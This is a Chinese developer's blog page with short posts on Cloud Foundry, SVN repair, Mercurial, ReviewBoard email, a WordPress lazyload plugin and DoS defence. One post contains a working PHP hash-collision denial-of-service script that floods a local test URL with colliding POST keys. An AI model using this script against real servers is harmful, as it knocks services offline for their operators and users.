Hello Cloud Foundry

新浪云跑着我的blog,GAE跑着我的goagent,Cloud Foundry跑着我写得第一个ruby hello world。iamjay.cloudfoundry.com

对于云,我的了解大概就这么多。对于cloudfoundry的了解,也就这么几天,源自于infoq上的广告。一直比较喜欢SAE,但是,它的改进速度太慢了。一直希望它能支持更多的开发语言或者开发框架,并有更多免费的云豆。虽然,我现在的开销也不是很大,不过,攒着点总归是有用的。cloudfoundry好像天生就比SAE支持更多的东西,这是第一眼好感。

抱怨一下这个墙,要不是这个墙,这个helloworld应该是前天早上就部署成功了。ruby的gem是在墙外的。甚至那天早上,翻过了墙,也无法连接gem。我几乎都要放弃使用vmc这个方案,去走IDE路线了。不过,IDE路线走的也不是很顺,cloudfoundry的eclipse插件很难下载,不知道是不是墙的原因。

下一个想了解的云是AWS,看点是它丰富的API和众多的成功案例。

发表在 未分类 | 留下评论

高斯炮

今天刚写完一篇DDos攻击相关blog,马上在weibo上看到@老赵提到的高斯炮。比较好奇这玩样,查了一下,原来是一个语言级的漏洞,也属于DDos攻击的范畴。可以把CPU耗尽,我用下面的代码试了一下,果然如此。

<?php
$size = pow(2, 16);
$data = "";

for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
	$data .= $key."=0&";
}

$url = "http://localhost/gaoshi.php";// 攻击目标
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

for ($i = 0; $i < 1000; ++$i) {
	curl_exec($ch);
}
curl_close($ch);
?>

关于高斯炮的原理,我就不说了。参考下面两个链接:

Reference:
http://www.laruence.com/2011/12/29/2412.html
http://www.laruence.com/2011/12/30/2435.html

发表在 PHP, 安全, 未分类, 网络攻击 | 留下评论

遭遇网络攻击

前一段时间遭遇了网络攻击,具体来说的话,应该是Dos攻击,当然也可能是DDos。因为攻击的ip不是太多,我就没有办法,了解它是Dos还是DDos了。如果是DDos的,而且攻击比较疯狂的话,我估计我可能需要花更多的时间去解决,甚至需要借助专业的工具才能避免这样的攻击。

因为自己在网络安全方面完全是业余的,所以,可能有些东西理解的也不完全对,日后如果再有机会了解,一定进行纠正。

我理解的Dos攻击,就是将服务器的资源完全占用了,导致正常的网络访问变得很慢,甚至无法访问。当然,Dos攻击的形式也很多,我只是肤浅的了解了一下。我所遇到的形式是把服务器的连接数耗尽,当然因为访问的比较频繁,服务器的日志也水涨船高。这样情况比较严重的,可以导致磁盘被写满,最终服务器崩溃。

最终的解决办法很简单,在网上找了一个能抵御Dos攻击的Apache服务器模块mod_dosevasive22.dll。服务器可能还存在其他的网络攻击,不过,最终还是可以工作了。

mod_dosevasive会把捕捉到的Dos攻击记录在error.log里,如果攻击的比较频繁,error.log的日志文件还是会变得非常巨大,这个时候,就要将攻击源的ip禁掉。可惜mod_dosevasive没有提供这样的自动禁止的功能。

不知道在专业的互联网公司是如何应对这样的网络攻击的,是专业的防火墙吗?

Reference:
1. http://www.docin.com/p-5436877.html
2. http://yaoyoa.com/content.php?id=109
3. http://www.360doc.com/content/11/0406/17/860_107627877.shtml

发表在 Apache服务器, 安全, 网络攻击 | 留下评论

由Alan kay对OO反思展开的相关思考

这个话题应该不算是一个新话题了。不过,我也没有仔细地去研究隐含其中的深刻含义。理解这个问题可能需要一定的技术积累,对于只使用一门编程语言进行工作的人来说,是比较难理解其中的奥妙的。一直想了解不同编程语言间的差别,为此尝试过学习不同语言,不过,这个问题一直没有被解开。

直到读了孟岩的function/bind的救赎(上)才从概念上理解了面向对象的本质。对于面向类方式编程的恶心,我表示非常的感同身受。对于Java世界有些过于强调面向类的构建,我也表示非常地不认同。

不过,我还是有疑问,真正的面向对象和我所认识的面向对象在编程上到底有多大的优势。

就C#中的delegate而言,它到底给我们程序员带来了什么?我肤浅的理解,它弥补了作为面向对象语言C#在面向对象方面的表达能力。由此,我也想提出一个问题,那smalltalk这样的天生支持基于消息传递的语言是不是比C#在表达上更简洁?

想解开更多的疑问,应该要看一些代码才能完成。大概看了一下lichray的一系列文章,OOP 诡异教程 (上) 算是一个开头。不过,对javascript不是太熟,所以,理解起来要一定的时间。我希望从无类语言的OOP(JavaScript描述)这篇文章开始,理解另一种面向对象语言的表达方式,理解它对代码编写可以带来多大改善。

发表在 javascript, 未分类, 编程范式, 语言, 面向对象 | 留下评论

遭遇SVN服务端错误

最近和版本控制软件接触比较频繁。这不一大早同事就跟我反应,SVN服务器挂掉了。提示很简单:

Could not open the requested SVN filesystem

登录到服务器看服务器的错误日志,也很简明扼要:

(20014)Internal error: Berkeley DB error for filesystem ‘z:/svn/repository/db’ while opening environment

因为是SVN服务器,不敢乱动,这可是整个开发部的劳动成果。

期间经过Google,了解Berkeley DB,了解SVN与Berkeley DB的关系,以及一些管理SVN下Berkeley DB下的命令。有了十足把握之后,将问题repository备份出来,进行恢复。

svnadmin recover <path to your repository>

恢复很简单,过程很纠结。特别是看到其他错误提示,也有通过这条命令恢复的。

对于Berkeley DB的前世今生也算是有了个全面的了解,和Mysql一样被Oracle收购。据说本来只有几百K,现在已经变成5M的样子了。

不管如何,SVN服务器恢复了:)

发表在 Berkeley DB, SVN, 数据库, 项目管理 | 留下评论

Mercurial

公司的SVN越来越慢,真想放弃SVN。因为接触一些开源项目,所以也接触到了Mercurial和Git。相对而言,对Mercurial更熟悉一点,可能是因为TortoiseHg和TortoiseSVN的使用很相像。

换一个版本控制软件在公司不是什么容易的事。所以,就只能曲线救国了。用TortoiseHg的插件hgSubversion作为SVN的客户端。中间主要遇到了中文问题,由fixutf8和win32mbcs两个插件可以解决。

现在还剩下一个问题,就是hgSubversion连接SVN,用户名和密码不保存,而且需要重复验证3次。这个问题直接导致速度问题。

也想过直接上Mercurial,不过,还有很多问题需要想清楚,比如分支管理、与Reviewboard和Trac这些内部系统的连接问题、Mercurial的用户验证问题等。

比较喜欢TortoiseHg的插件方式,我使用的hgSubversion和fixutf8都是python写的,代码量也很小。这意味着我可以修改源码满足我自己的需求。

hgSubversion的使用是对目前工作的一点小小的改进,我希望,一 点点的改进最终能达到聚沙成塔的效果。

发表在 Mercurial, 项目管理 | 2 条评论

开发 vs 测试

今天浏览网页的时候,看到淘宝测试组的文章开发的自测宝典。没有从这篇文章里学到什么,不过,里面描述了一些开发和测试日常都会遇到的一些问题。

特别是开发将产品提交到测试之后,经常出现冒烟不过的问题。这个就像发生在自己身上一样。前一段时间,我们团队也经历了类似的过程。

不过,我想不管是开发和测试,如果都是本着负责的态度工作的话,开发和测试的关系就会融洽很多。

我想文中提到的所谓自测宝典,其实应该是开发最基本的职业态度。基于此,我们还有很多工作可以做,比如,优化系统逻辑,改善用户体验等等。

以我的观点来看,开发和测试就像是一对恋人,要的就是感觉,当然,结果千差万别。

发表在 随笔 | 留下评论

序言——平凡的工程师

想写更多的代码,也想认识那些喜欢写代码的人。
比较讨厌把简单事情做的很复杂的人和事,也比较讨厌把很多事情想的很周全了再创造出一点什么东西来。
喜欢根据目前自己所了解的一些东西,通过简单地组合就创造出一点小东西来。

代码方面,我在进行一定的实践,同时也需要积累更多的这方面的实践。
人方面,还是看看这些写blog的工程师为主。

想写一个专题叫“平凡的工程师”。为什么要取这样一个名字?

可能是我的google reader里,有太多的技术牛人了。他们有的译书,有的传播技术,站的层次也比较高。开始看的时候,会感觉比较新鲜,可是时间一长也是一种负担,技术还是要和应用结合的,没有具体应用的技术,学究气太重。

最近开始喜欢sae,喜欢php,虽然接触的不算多,但是,给我的感觉很不错。(今天晚上的感觉很不好,访问sae的速度实在太慢。是不是晚上大家都在上weibo的缘故。)

基于上面两个原因,我开始关注那些帮weibo写周边应用的工程师。平时默默无闻,却有实际应用的工程师。

这些应用一般比较简单,但却也有不少的受众。我想一个工程师最大的幸福就是他的劳动成果被他人所认可。这一点完全符合我开头那段不明不白的唠叨。

希望找到一些志同道合的工程师,向他们学习。

发表在 工程师, 随笔 | 标签为 | 留下评论

ReviewBoard邮件通知的问题(2)

续上次的ReviewBoard邮件通知的问题,这个问题前一段时间一直没有解决掉。主要是没有新的想法了。

今天,跑到办公室突然想到,如果公司的邮件服务器禁止了伪装发件人的功能,那么,免费邮箱没有禁止伪装发件人功能,是不是就可以解决这个问题了。应该是可以的。据我所知,Gmail就可以做到。

不过,也不能高兴的太早,ReviewBoard的服务器可是在内网,而且无法访问外网。这个难不倒我,在可以访问外网的电脑上装一个squid代理出去。

设想是美好的。不过,现在还是有点问题。可能还是网络方面的原因,ReviewBoard给我报了一个WSAHOST_NOT_FOUND的错误。

C:\Documents and Settings\Administrator>python
Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win
32
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import socket
>>> s = socket.socket(2,0)
>>> s.connect((“localhost”, 80))
>>> s.connect((“smtp.gmail.com”, 465))
Traceback (most recent call last):
  File “<stdin>”, line 1, in <module>
  File “<string>”, line 1, in connect
socket.gaierror: (11001, ‘getaddrinfo failed’)
>>>

副产品:

在跟踪这个问题的过程中,我尝试地一下修改了一下Python的Lib目录下的py源文件。发现改完以后,pyc文件马上就变化了。这算是一个重大发现了。其实,以前也想过,既然有源代码文件,那么,应该是可以修改的。不过,一直被以前的习惯所牵绊,认为修改源码以后应该要编译一下。和C# dll形式的发布不一样,和PHP脚本形式的发布也不一样,似乎介于两者之间。

基于这个发现,其实,我也可以修改Reviewboard的源代码,修正这个邮件不通知的错误。

发表在 Python, ReviewBoard, 语言, 项目管理 | 一条评论

为blog增加Lazyload的插件

因为blog里有一些图片导致了整个blog的加载慢了不少,特别是代码的渲染是等整个网页加载好以后再进行的,所以速度慢就特别明显。

其实lazyload的实现主要是借助jquery和它的插件lazyload完成的。开始,增加这个功能的时候犯了不少低级错误,以为是拼写错误导致js没有加载成功、script的标记没有使用成对出现的形式、直接修改theme完成该功能。

后来,发现wordpress有这个插件。看了一下插件的代码很简单:


function jquery_lazy_load_headers() {
  $plugin_path = plugins_url('/', __FILE__);
  $lazy_url = $plugin_path . 'javascripts/jquery.lazyload.mini.js';
  $jq_url = 'https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js';
  wp_deregister_script('jquery');
  wp_enqueue_script('jquery', $jq_url, false, '1.6.1');
  wp_enqueue_script('jquerylazyload', $lazy_url, 'jquery', '1.5.0');
}

function jquery_lazy_load_ready() {
  $placeholdergif = plugins_url('images/grey.gif', __FILE__);
  echo <<<EOF
<script type="text/javascript">
jQuery(document).ready(function($){
  if (navigator.platform == "iPad") return;
  jQuery("img").not(".cycle img").lazyload({
    effect:"fadeIn",
    placeholder: "$placeholdergif"
  });
});
</script>
EOF;
}

  add_action('wp_head', 'jquery_lazy_load_headers', 5);
  add_action('wp_head', 'jquery_lazy_load_ready', 12);
?>

虽然,不是很清楚这些wordpress相关的插件函数,不过,也算熟悉了一回。

发表在 jquery, WEB应用, wordpress | 8 条评论